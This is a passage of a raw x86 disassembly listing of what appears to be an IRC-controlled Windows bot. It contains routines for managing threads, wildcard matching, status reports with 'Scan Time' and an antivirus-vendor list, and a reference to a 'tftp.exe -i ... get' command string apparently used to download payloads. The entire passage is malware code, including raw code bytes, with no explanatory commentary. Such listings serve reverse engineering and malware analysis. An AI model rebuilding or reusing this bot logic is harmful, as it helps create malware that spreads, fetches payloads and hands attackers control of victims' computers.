eax, [esi+ebx] push eax call sub_41CAB0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CAB0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CAB0 add esi, edi push 38h add esi, ebx push offset byte_431751 push esi call sub_41CAB0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B12F endp ; =============== S U B R O U T I N E ======================================= sub_40B207 proc near ; CODE XREF: sub_40B21E+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B10F push eax call sub_40B28B add esp, 0Ch retn sub_40B207 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B21E proc near ; CODE XREF: sub_40DCEA+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B207 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B23E cmp eax, 0FFFFh jbe short loc_40B242 loc_40B23E: ; CODE XREF: sub_40B21E+17j xor eax, eax jmp short loc_40B287 ; --------------------------------------------------------------------------- loc_40B242: ; CODE XREF: sub_40B21E+1Ej push esi push edi push ebx call sub_40B10F add eax, 101h push eax call sub_41BC9B add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B10F pop ecx pop ecx push eax push esi call sub_40B12F push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2A6 push esi mov edi, eax call sub_41BA31 add esp, 24h mov eax, edi pop esi loc_40B287: ; CODE XREF: sub_40B21E+22j pop edi pop ebx pop ebp retn sub_40B21E endp ; =============== S U B R O U T I N E ======================================= sub_40B28B proc near ; CODE XREF: sub_40B207+Ep ; sub_40B2A6+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B294 inc ecx loc_40B294: ; CODE XREF: sub_40B28B+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B28B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2A6 proc near ; CODE XREF: sub_40B21E+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2C5 loc_40B2C2: ; CODE XREF: sub_40B2A6+8j ; sub_40B2A6+Ej ... inc [ebp+arg_C] loc_40B2C5: ; CODE XREF: sub_40B2A6+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2ED mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2E6 cmp al, 0Dh jz short loc_40B2E6 cmp al, 5Ch jz short loc_40B2E6 test al, al jnz short loc_40B2ED loc_40B2E6: ; CODE XREF: sub_40B2A6+32j ; sub_40B2A6+36j ... add [ebp+arg_C], 100h loc_40B2ED: ; CODE XREF: sub_40B2A6+28j ; sub_40B2A6+3Ej push [ebp+arg_C] call sub_40B28B cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B305 cmp eax, 0FFFFh jbe short loc_40B30C loc_40B305: ; CODE XREF: sub_40B2A6+56j xor eax, eax jmp loc_40B3AA ; --------------------------------------------------------------------------- loc_40B30C: ; CODE XREF: sub_40B2A6+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4C9448 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B33C loc_40B320: ; CODE XREF: sub_40B2A6+94j mov al, [edx+edi] xor al, bl jz short loc_40B333 cmp al, 0Ah jz short loc_40B333 cmp al, 0Dh jz short loc_40B333 cmp al, 5Ch jnz short loc_40B337 loc_40B333: ; CODE XREF: sub_40B2A6+7Fj ; sub_40B2A6+83j ... inc bl xor edx, edx loc_40B337: ; CODE XREF: sub_40B2A6+8Bj inc edx cmp edx, ecx jb short loc_40B320 loc_40B33C: ; CODE XREF: sub_40B2A6+78j cmp ecx, esi mov byte_4C9448, bl ja short loc_40B368 push 15h push offset loc_4316B0 push [ebp+arg_0] mov byte_4316BD, cl mov byte_4316C1, bl call sub_41CAB0 add esp, 0Ch push 15h jmp short loc_40B389 ; --------------------------------------------------------------------------- loc_40B368: ; CODE XREF: sub_40B2A6+9Ej push 17h push offset loc_431698 push [ebp+arg_0] mov word_4316A6, cx mov byte_4316AB, bl call sub_41CAB0 add esp, 0Ch push 17h loc_40B389: ; CODE XREF: sub_40B2A6+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3A5 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B397: ; CODE XREF: sub_40B2A6+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B397 loc_40B3A5: ; CODE XREF: sub_40B2A6+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3AA: ; CODE XREF: sub_40B2A6+61j pop esi leave retn sub_40B2A6 endp ; =============== S U B R O U T I N E ======================================= sub_40B3AD proc near ; CODE XREF: ___:00401596p ; ___:004015D2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43C040 loc_40B3B5: ; CODE XREF: sub_40B3AD+18j cmp byte ptr [eax], 0 jz short loc_40B3C9 add eax, 234h inc edi cmp eax, offset dword_4C9040 jl short loc_40B3B5 jmp short loc_40B414 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B3AD+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43C040[esi] push eax call sub_41BD70 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43C240[esi], eax and dword_43C244[esi], 0 mov eax, [esp+8+arg_8] and dword_43C248[esi], 0 mov dword_43C24C[esi], eax and byte_43C258[esi], 0 pop esi loc_40B414: ; CODE XREF: sub_40B3AD+1Aj mov eax, edi pop edi retn sub_40B3AD endp ; --------------------------------------------------------------------------- dword_40B418 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: sub_401AC7+292Co dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h dd 0E890006Ah, 22E4B98h, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_40B4E8 proc near ; CODE XREF: sub_401AC7+79C4p ; sub_40B576+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B570 cmp esi, 400h jge short loc_40B570 imul esi, 234h push edi push ebx push dword_43C254[esi] lea edi, dword_43C254[esi] nop call near ptr 26A0783h cmp [edi], ebx jz short loc_40B520 push 1 pop ebp loc_40B520: ; CODE XREF: sub_40B4E8+33j mov [edi], ebx lea edi, dword_43C248[esi] mov dword_43C240[esi], ebx mov dword_43C244[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B541 push eax call sub_419EB7 pop ecx loc_40B541: ; CODE XREF: sub_40B4E8+50j mov [edi], ebx lea edi, dword_43C24C[esi] mov byte ptr dword_43C040[esi], bl mov byte_43C258[esi], bl push dword ptr [edi] call dword_4C939C lea esi, dword_43C250[esi] mov [edi], ebx push dword ptr [esi] call dword_4C939C mov [esi], ebx pop edi loc_40B570: ; CODE XREF: sub_40B4E8+Dj ; sub_40B4E8+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4E8 endp ; =============== S U B R O U T I N E ======================================= sub_40B576 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D3p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43C040 loc_40B582: ; CODE XREF: sub_40B576+2Aj cmp byte ptr [esi], 0 jz short loc_40B593 push edi call sub_40B4E8 test eax, eax pop ecx jz short loc_40B593 inc ebx loc_40B593: ; CODE XREF: sub_40B576+Fj ; sub_40B576+1Aj add esi, 234h inc edi cmp esi, offset dword_4C9040 jl short loc_40B582 pop edi mov eax, ebx pop esi pop ebx retn sub_40B576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5A8 proc near ; CODE XREF: sub_401AC7+41B3p ; sub_401AC7+4300p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43C244 loc_40B5BC: ; CODE XREF: sub_40B5A8+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5DE test edi, edi jle short loc_40B5D0 cmp [esi], edi jz short loc_40B5D0 cmp ebx, edi jnz short loc_40B5DE loc_40B5D0: ; CODE XREF: sub_40B5A8+1Ej ; sub_40B5A8+22j push ebx call sub_40B4E8 test eax, eax pop ecx jz short loc_40B5DE inc [ebp+var_4] loc_40B5DE: ; CODE XREF: sub_40B5A8+1Aj ; sub_40B5A8+26j ... add esi, 234h inc ebx cmp esi, offset dword_4C9244 jl short loc_40B5BC mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5A8 endp ; =============== S U B R O U T I N E ======================================= sub_40B5F5 proc near ; CODE XREF: ___:0040162Ap ; sub_401AC7+955p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43C240 loc_40B5FC: ; CODE XREF: sub_40B5F5+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B605 inc eax loc_40B605: ; CODE XREF: sub_40B5F5+Dj add ecx, 234h cmp ecx, offset dword_4C9240 jl short loc_40B5FC retn sub_40B5F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B614 proc near ; CODE XREF: sub_401AC7+23C3p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43C240 loc_40B61E: ; CODE XREF: sub_40B614+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B637 add ecx, 234h inc edx cmp ecx, offset dword_4C9240 jl short loc_40B61E pop esi retn ; --------------------------------------------------------------------------- loc_40B637: ; CODE XREF: sub_40B614+10j mov eax, edx pop esi retn sub_40B614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63B proc near ; CODE XREF: sub_401AC7+1230p ; sub_401AC7+124Ep ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B654 push [ebp+arg_1C] call sub_41BEF9 pop ecx loc_40B654: ; CODE XREF: sub_40B63B+Ej push eax push [ebp+arg_18] call sub_40B5A8 pop ecx test eax, eax pop ecx jle short loc_40B680 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C006 add esp, 14h jmp short loc_40B69A ; --------------------------------------------------------------------------- loc_40B680: ; CODE XREF: sub_40B63B+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C006 add esp, 10h loc_40B69A: ; CODE XREF: sub_40B63B+43j cmp [ebp+arg_C], 0 jnz short loc_40B6BA push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_40B6BA: ; CODE XREF: sub_40B63B+63j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx leave retn sub_40B63B endp ; =============== S U B R O U T I N E ======================================= sub_40B6C9 proc near ; CODE XREF: sub_4017E7+159p ; ___:0040BCF6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43C254[eax], ecx mov dword_43C240[eax], ecx mov dword_43C244[eax], ecx mov dword_43C248[eax], ecx mov dword_43C24C[eax], ecx mov dword_43C250[eax], ecx mov byte ptr dword_43C040[eax], cl mov byte_43C258[eax], cl retn sub_40B6C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B706 proc near ; CODE XREF: sub_401AC7+7C27p ; sub_40B834+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B710: ; CODE XREF: sub_40B706+68j mov cl, [esi] test cl, cl jz short loc_40B770 cmp eax, 1 jnz short loc_40B770 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B770 cmp cl, 2Ah jz short loc_40B757 cmp cl, 3Fh jz short loc_40B73A cmp cl, 5Bh jz short loc_40B73F xor eax, eax cmp cl, dl setz al loc_40B73A: ; CODE XREF: sub_40B706+26j inc [ebp+arg_4] jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B73F: ; CODE XREF: sub_40B706+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B79C mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B757: ; CODE XREF: sub_40B706+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B834 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B76A: ; CODE XREF: sub_40B706+37j ; sub_40B706+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B710 ; --------------------------------------------------------------------------- loc_40B770: ; CODE XREF: sub_40B706+Ej ; sub_40B706+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B780 cmp eax, 1 jnz short loc_40B797 inc esi mov [ebp+arg_0], esi jmp short loc_40B770 ; --------------------------------------------------------------------------- loc_40B780: ; CODE XREF: sub_40B706+6Dj cmp eax, 1 jnz short loc_40B797 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B797 cmp byte ptr [esi], 0 jnz short loc_40B797 push 1 pop eax jmp short loc_40B799 ; --------------------------------------------------------------------------- loc_40B797: ; CODE XREF: sub_40B706+72j ; sub_40B706+7Dj ... xor eax, eax loc_40B799: ; CODE XREF: sub_40B706+8Fj pop esi pop ebp retn sub_40B706 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B79C proc near ; CODE XREF: sub_40B706+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7BD inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7BD: ; CODE XREF: sub_40B79C+19j push ebx push esi loc_40B7BF: ; CODE XREF: sub_40B79C+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7CD cmp [ebp+var_4], eax jnz short loc_40B819 loc_40B7CD: ; CODE XREF: sub_40B79C+2Aj test edi, edi jnz short loc_40B80E cmp bl, 2Dh jnz short loc_40B802 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B802 cmp al, 5Dh jz short loc_40B802 cmp [ebp+var_4], edi jnz short loc_40B802 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B80E cmp bl, al jg short loc_40B80E push 1 mov [edx], esi pop edi jmp short loc_40B80E ; --------------------------------------------------------------------------- loc_40B802: ; CODE XREF: sub_40B79C+38j ; sub_40B79C+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B80E push 1 pop edi loc_40B80E: ; CODE XREF: sub_40B79C+33j ; sub_40B79C+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7BF ; --------------------------------------------------------------------------- loc_40B819: ; CODE XREF: sub_40B79C+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B826 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B826: ; CODE XREF: sub_40B79C+82j cmp edi, eax jnz short loc_40B82F mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B82F: ; CODE XREF: sub_40B79C+8Cj mov eax, edi pop edi leave retn sub_40B79C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B834 proc near ; CODE XREF: sub_40B706+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B850: ; CODE XREF: sub_40B834+3Aj cmp [eax], bl jz short loc_40B870 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B865 cmp cl, 2Ah jnz short loc_40B870 cmp cl, 3Fh jnz short loc_40B868 loc_40B865: ; CODE XREF: sub_40B834+25j inc eax mov [edi], eax loc_40B868: ; CODE XREF: sub_40B834+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B850 ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: sub_40B834+1Ej ; sub_40B834+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B87B inc dword ptr [esi] jmp short loc_40B870 ; --------------------------------------------------------------------------- loc_40B87B: ; CODE XREF: sub_40B834+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B89C mov edx, [esi] cmp [edx], bl jz short loc_40B88D xor eax, eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B88D: ; CODE XREF: sub_40B834+53j cmp cl, bl jnz short loc_40B89C mov ecx, [esi] cmp [ecx], bl jnz short loc_40B89C push 1 pop eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B89C: ; CODE XREF: sub_40B834+4Dj ; sub_40B834+5Bj ... push eax push dword ptr [esi] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_40B8E6 loc_40B8AA: ; CODE XREF: sub_40B834+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8AE: ; CODE XREF: sub_40B834+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8C6 cmp cl, 5Bh jz short loc_40B8C6 cmp dl, bl jz short loc_40B8C6 inc eax mov [edi], eax jmp short loc_40B8AE ; --------------------------------------------------------------------------- loc_40B8C6: ; CODE XREF: sub_40B834+82j ; sub_40B834+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8DD push eax push dword ptr [esi] call sub_40B706 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8E2 ; --------------------------------------------------------------------------- loc_40B8DD: ; CODE XREF: sub_40B834+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8E2: ; CODE XREF: sub_40B834+A7j cmp eax, ebx jnz short loc_40B8AA loc_40B8E6: ; CODE XREF: sub_40B834+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B8F9 mov eax, [esi] cmp [eax], bl jnz short loc_40B8F9 mov [ebp+var_4], 1 loc_40B8F9: ; CODE XREF: sub_40B834+B6j ; sub_40B834+BCj mov eax, [ebp+var_4] loc_40B8FC: ; CODE XREF: sub_40B834+57j ; sub_40B834+66j pop edi pop esi pop ebx leave retn sub_40B834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B901 proc near ; CODE XREF: sub_401AC7+2AC2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431BEC push eax xor ebx, ebx call sub_41C006 cmp dword_431808, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B973 push esi mov esi, offset dword_431810 loc_40B934: ; CODE XREF: sub_40B901+6Fj mov eax, [esi] test eax, eax jbe short loc_40B969 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431BE0 push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 add esp, 1Ch loc_40B969: ; CODE XREF: sub_40B901+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B934 pop esi loc_40B973: ; CODE XREF: sub_40B901+2Bj push dword_4C9044 call sub_41AD74 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 38h pop edi pop ebx leave retn sub_40B901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9CF proc near ; CODE XREF: sub_401AC7+2AACp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CBE10 mov ecx, dword_4CBE0C push esi push dword_4C9044 lea esi, [ecx+eax] call sub_41AD74 push eax push esi push dword_4CBE10 lea eax, [ebp+var_200] push dword_4CBE0C push offset unk_431C0C push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 34h pop esi leave retn sub_40B9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA3A proc near ; CODE XREF: sub_401AC7+2A96p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_200] push dword_4CC058 push offset unk_431C54 push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 2Ch leave retn sub_40BA3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA8E proc near ; CODE XREF: sub_401AC7+2A80p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push edi lea eax, [ebp+var_800] push offset dword_431CA0 push eax call sub_41C006 cmp dword_431808, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BAFA push esi mov esi, offset aSymantec ; "Symantec" loc_40BAC3: ; CODE XREF: sub_40BA8E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C90 push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAC3 pop esi loc_40BAFA: ; CODE XREF: sub_40BA8E+2Dj push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_800] push eax call sub_415CEE add esp, 34h pop edi leave retn sub_40BA8E endp ; --------------------------------------------------------------------------- dword_40BB54 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh ; DATA XREF: sub_401AC7+30C9o dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h, 7D890043h dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40BBA5: ; CODE XREF: ___:0040BCACj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C336 add esp, 0Ch cmp eax, 1 jnz loc_40BCA2 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431CF0 push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C006 lea eax, [ebp-15Ch] push esi push eax call sub_41C006 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40BC3D lea eax, [ebp-124h] loc_40BC3D: ; CODE XREF: ___:0040BC35j push eax lea eax, [ebp-1DCh] push eax call sub_41C006 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCA2: ; CODE XREF: ___:0040BBB8j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBA5 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431CBC push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 add esp, 2Ch push edi ; --------------------------------------------------------------------------- db 0E8h dd 22E42FCh db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD05 proc near ; CODE XREF: sub_401AC7+23DEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B5F5 test eax, eax pop ecx jle short loc_40BD41 mov eax, [ebp+arg_C] push dword_4C9450[eax*8] call dword_4C9390 push eax lea eax, [ebp+var_200] push offset unk_431D40 push eax call sub_41C006 add esp, 0Ch jmp short loc_40BD54 ; --------------------------------------------------------------------------- loc_40BD41: ; CODE XREF: sub_40BD05+13j lea eax, [ebp+var_200] push offset unk_431D20 push eax call sub_41C006 pop ecx pop ecx loc_40BD54: ; CODE XREF: sub_40BD05+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 18h leave retn sub_40BD05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD7C proc near ; CODE XREF: sub_40C3D3+263p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C24E shl eax, 6 xor ebx, ebx cmp dword_431814[eax], ebx jz loc_40C24E push 5 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C003 mov eax, dword_429078 push edi mov esi, offset dword_4CB50C push 104h push esi push ebx mov dword_4CB71C, eax mov dword_4CB718, ebx call near ptr 2680000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CB610 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov 